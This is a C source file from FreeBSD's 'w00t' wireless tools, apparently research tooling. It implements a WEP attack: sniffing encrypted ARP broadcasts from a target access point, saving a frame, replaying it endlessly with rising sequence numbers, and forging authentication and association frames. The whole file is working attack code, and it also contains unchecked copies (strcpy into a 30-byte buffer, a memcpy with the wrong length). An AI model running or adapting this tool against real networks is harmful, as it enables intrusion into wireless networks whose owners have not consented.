/*- * Copyright (c) 2006, Andrea Bittau * Heavily modified by Konrad Jankowski * All rights reserved. * This program uses /usr/src/tools/tools/net80211/w00t, make sure you * compile it correctly. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * $FreeBSD: src/tools/tools/net80211/w00t/prga/prga.c,v 1.1 2006/08/05 05:18:03 sam Exp $ */ #include #include #include #include #include #include #include #include #include #include #include #include "w00t.h" #define SEQ static int known_pt_len = 8; enum { S_START = 0, S_SEND_FRAG, S_WAIT_ACK, S_WAIT_RELAY }; struct params { int tx; int rx; char mac[6]; char ap[6]; char *ssid; char filter; char prga[2048]; int prga_len; char iv[3]; struct timeval last; char packet[2048]; int packet_len; int state; char data[2048]; char *data_ptr; int data_len; int data_try; int mtu; short seq; int frag; int tap; char fname[30]; int time_to_sleep; char verbose; char interactive; }; void usage(char *p) { printf("Usage: %s \n" "-h\thelp\n" "-b\t\n" "-f\t\n" "-d\t\n" "-s\t\n" "-v\tbe verbose\n" "-i\tinteractive - wait after each sent packet\n" "-a\tuse fake authentication\n" "The interface has to be in promisc mode, for example by " "running Kismet on it.\n" , p); exit(0); } int is_arp(struct ieee80211_frame *wh, int len) { int ret; ret = 1; printf("packet len = %d: ", len); if (len > (sizeof(*wh) + 4 + 4 + 39)) { printf("ip, "); ret = 0; } else printf("arp, "); return ret; } void send_packet(struct params *); void dump_to_file(struct params *p) { int ofile; if ((ofile = open(p->fname, O_TRUNC | O_CREAT | O_WRONLY)) == -1) err(1, "open"); if (write(ofile, p->packet, p->packet_len) == -1) err(1, "write"); close(ofile); } void show_iv(unsigned char *bytes) { int i; printf("iv of this packet is: 0x"); /* XXX 3 */ for (i = 0; i < 4; i++) printf("%.2x", bytes[i]); putchar('\n'); } void show_addr(char *title, unsigned char *bytes) { int i; printf("%s ", title); for (i = 0; i < 6; i++) printf("%.2x%c", bytes[i], i != 5 ? ':' : '\n'); } void show_fc_dur(char *title, unsigned char *bytes) { int i; printf("%s 0x", title); printf("%.2x", bytes[0]); printf("%.2x\n", bytes[1]); } int check_relay(struct params *p, struct ieee80211_frame *wh) { int i, tries; puts("checking for relay"); tries = 5; for (i = 0; i < tries; i++) { send_packet(p); #ifdef SEQ wh->i_seq[1]++; #endif usleep(10000); } tries = 2000; for (i = 0; i < tries; i++) { int len; struct ieee80211_frame *wp; char buf[4096]; len = sniff(p->rx, buf, sizeof(buf)); if (len == -1) err(1, "sniff()"); wp = get_wifi(buf, &len); if (wp == NULL) err(1, "get_wifi()"); if (!(wp->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)) continue; show_fc_dur("fc", wp->i_fc); show_addr("i_addr1:", wp->i_addr1); show_addr("i_addr2:", wp->i_addr2); show_addr("i_addr3:", wp->i_addr3); puts("------------------"); if (memcmp(wh->i_addr2, wp->i_addr3, sizeof(wh->i_addr1))) continue; if (memcmp(wh->i_addr1, wp->i_addr2, sizeof(wh->i_addr1))) continue; if (memcmp(wh->i_addr3, wp->i_addr1, sizeof(wh->i_addr1))) continue; printf("We got RELAY!!!\n"); return 1; } return 0; } void dead_loop(struct params *p, struct ieee80211_frame *wh) { char tmpbuf[6]; /* reverse the station numbers */ if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) { /* teraz transmisja w druga strone */ memcpy(tmpbuf, wh->i_addr1, 6); memcpy(wh->i_addr1, wh->i_addr2, 6); memcpy(wh->i_addr2, wh->i_addr3, 6); memcpy(wh->i_addr3, tmpbuf, 6); } #if 1 memset(wh->i_addr3, 0xff, sizeof(wh->i_addr3)); #endif wh->i_fc[1] = IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS; #if 0 if (!check_relay(p, wh)) { puts("No relay, quitting"); return; } #endif #ifdef SE memcpy(wh->i_seq, &p->seq, sizeof(p->seq)); #endif #if 0 if (p->verbose) show_fc_dur("seq", wh->i_seq); #endif puts("entering dead loop"); wh->i_seq[1] += 300; for (;;) { if (p->verbose) show_fc_dur("seq", wh->i_seq); if (p->interactive) while (getchar() != '\n') ; send_packet(p); /* increment only sequence number */ #ifdef SEQ wh->i_seq[1]++; #endif usleep(p->time_to_sleep); /* wait for a keypress */ } } void work_out_arp(struct params *p, struct ieee80211_frame *wh) { /* przenosimy wszystko w wygodniejsze miejsce */ wh = (void *)p->packet; show_fc_dur("fc", wh->i_fc); show_fc_dur("dur", wh->i_dur); show_addr("i_addr1:", wh->i_addr1); show_addr("i_addr2:", wh->i_addr2); show_addr("i_addr3:", wh->i_addr3); dump_to_file(p); show_iv(p->packet + sizeof(*wh)); show_fc_dur("seq", wh->i_seq); dead_loop(p, wh); } int is_broadcast(struct ieee80211_frame *wh) { unsigned char broadcast[] = "\xff\xff\xff\xff\xff\xff"; if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) { show_addr("destination:", wh->i_addr3); if (!memcmp(wh->i_addr3, broadcast, sizeof(broadcast))) return 1; } else { show_addr("destination:", wh->i_addr1); if (!memcmp(wh->i_addr1, broadcast, sizeof(broadcast))) return 1; } return 0; } void get_prga(struct params *p) { char buf[4096]; int rc; struct ieee80211_frame *wh; char *bssid = NULL; char *ptr; char *known_pt; int ret, ret2; rc = sniff(p->rx, buf, sizeof(buf)); if (rc == -1) err(1, "sniff()"); wh = get_wifi(buf, &rc); if (!wh) return; if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA, IEEE80211_FC0_SUBTYPE_DATA)) return; if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) { printf("Packet not WEP!\n"); return; } if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) bssid = wh->i_addr1; else { if (memcmp(wh->i_addr3, wh->i_addr2, 6) == 0) { printf("broadcast from access point\n"); return; } bssid = wh->i_addr2; } if (p->filter && memcmp(p->ap, bssid, 6) != 0) { if (p->verbose) { show_addr("bssid:", bssid); puts("not our BSS."); } return; } ret = is_arp(wh, rc); ret2 = is_broadcast(wh); show_fc_dur("seq", wh->i_seq); #if 1 if (!ret) return; #else #endif #if 1 if (!ret2) { printf("Not a broadcast packet.\n"); return; } #endif #ifdef KEYPRESS puts("got correct packet, waiting for a keypress to commence attack"); getchar(); #endif memcpy(p->packet, wh, rc); p->packet_len = rc; work_out_arp(p, wh); } void send_packet(struct params *p) { int rc; struct ieee80211_frame *wh; rc = inject(p->tx, p->packet, p->packet_len); if (rc == -1) err(1, "inject()"); if (rc != p->packet_len) { printf("Wrote %d/%d\n", rc, p->packet_len); exit(1); } p->data_try++; wh = (struct ieee80211_frame *)p->packet; /* wh->i_fc[1] |= IEEE80211_FC1_RETRY; */ if (gettimeofday(&p->last, NULL) == -1) err(1, "gettimeofday()"); } struct ieee80211_frame * read_from_file(struct params *p) { struct ieee80211_frame *wh; int fd; if ((fd = open(p->fname, O_RDONLY)) == -1) err(1, "open"); p->packet_len = read(fd, p->packet, sizeof(p->packet)); printf("read %d bytes\n", p->packet_len); wh = (void *)p->packet; if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) { memcpy(p->mac, wh->i_addr3, sizeof(wh->i_addr3)); memcpy(p->ap, wh->i_addr2, sizeof(wh->i_addr2)); } else { memcpy(p->mac, wh->i_addr2, sizeof(wh->i_addr2)); memcpy(p->ap, wh->i_addr1, sizeof(wh->i_addr1)); } return wh; } #define AUTH_REQ \ "\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB""\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00""\x00\x00\x01\x00\x00\x00" #define ASSOC_REQ \ "\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00" #define RATES \ "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C" void fake_auth(struct params *p) { struct ieee80211_frame *wh; char buf[2048]; int len, ret; int i; wh = (void *)buf; /* bez zera na koncu */ memcpy(buf, AUTH_REQ, sizeof(AUTH_REQ) - 1); memcpy(wh->i_addr1, p->ap, sizeof(wh->i_addr1)); memcpy(wh->i_addr2, p->mac, sizeof(wh->i_addr2)); memcpy(wh->i_addr3, p->ap, sizeof(wh->i_addr3)); len = sizeof(AUTH_REQ) - 1; printf("authentication: %d bytes\n", len); if ((ret = inject(p->tx, buf, len)) != len) errx(1, "inject: %d", ret); memcpy(buf, ASSOC_REQ, sizeof(ASSOC_REQ) - 1); memcpy(wh->i_addr1, p->ap, sizeof(wh->i_addr1)); memcpy(wh->i_addr2, p->mac, sizeof(wh->i_addr2)); memcpy(wh->i_addr3, p->ap, sizeof(wh->i_addr3)); len = sizeof(ASSOC_REQ) - 1/* + sizeof(*wh)*/; buf[len] = 0; ret = strlen(p->ssid); buf[len + 1] = ret; memcpy(buf + len + 2, p->ssid, len); memcpy(buf + len + 2 + ret, RATES, sizeof(RATES) - 1); len += ret + 2 + sizeof(RATES) - 1; printf("association: %d bytes\n", len); usleep(10000); /*for (i = 0; i < 5; i++)*/ if ((ret = inject(p->tx, buf, len)) != len) errx(1, "inject: %d", ret); } int main(int argc, char *argv[]) { struct params p; char *iface = "ath0"; char *tap = "tap0"; int ch; int is_loaded = 0, fake = 0; struct ieee80211_frame *wh; memset(&p, 0, sizeof(p)); p.seq = getpid(); p.time_to_sleep = 100 * 1000; memcpy(p.fname, "arp.pkt", 8); p.filter = 0; p.ssid = NULL; while ((ch = getopt(argc, argv, "hb:t:f:s:viad:")) != -1) { switch (ch) { case 'b': if (str2mac(p.ap, optarg) == -1) { printf("Can't parse BSSID\n"); exit(1); } p.filter = 1; break; case 'f': strcpy(p.fname, optarg); wh = read_from_file(&p); is_loaded = 1; break; case 't': tap = optarg; break; case 's': p.ssid = optarg; break; case 'd': p.time_to_sleep = strtol(optarg, NULL, 0); if (p.time_to_sleep == 0) errx(1, "specify positive interval"); p.time_to_sleep *= 1000; break; case 'v': p.verbose = 1; break; case 'i': p.interactive = 1; p.verbose = 1; break; case 'a': fake = 1; break; default: usage(argv[0]); break; } } /* init */ if ((p.rx = open_rx(iface)) == -1) err(1, "open_rx()"); if ((p.tx = open_tx(iface)) == -1) err(1, "open_tx()"); if (fake) { if (p.ssid == NULL) errx(1, "specify a ssid for authentication"); if (!is_loaded) errx(1, "specify a recorded file first"); fake_auth(&p); } if (!is_loaded) { for (;;) get_prga(&p); } else dead_loop(&p, wh); /* NOTREACHED */ return 0; }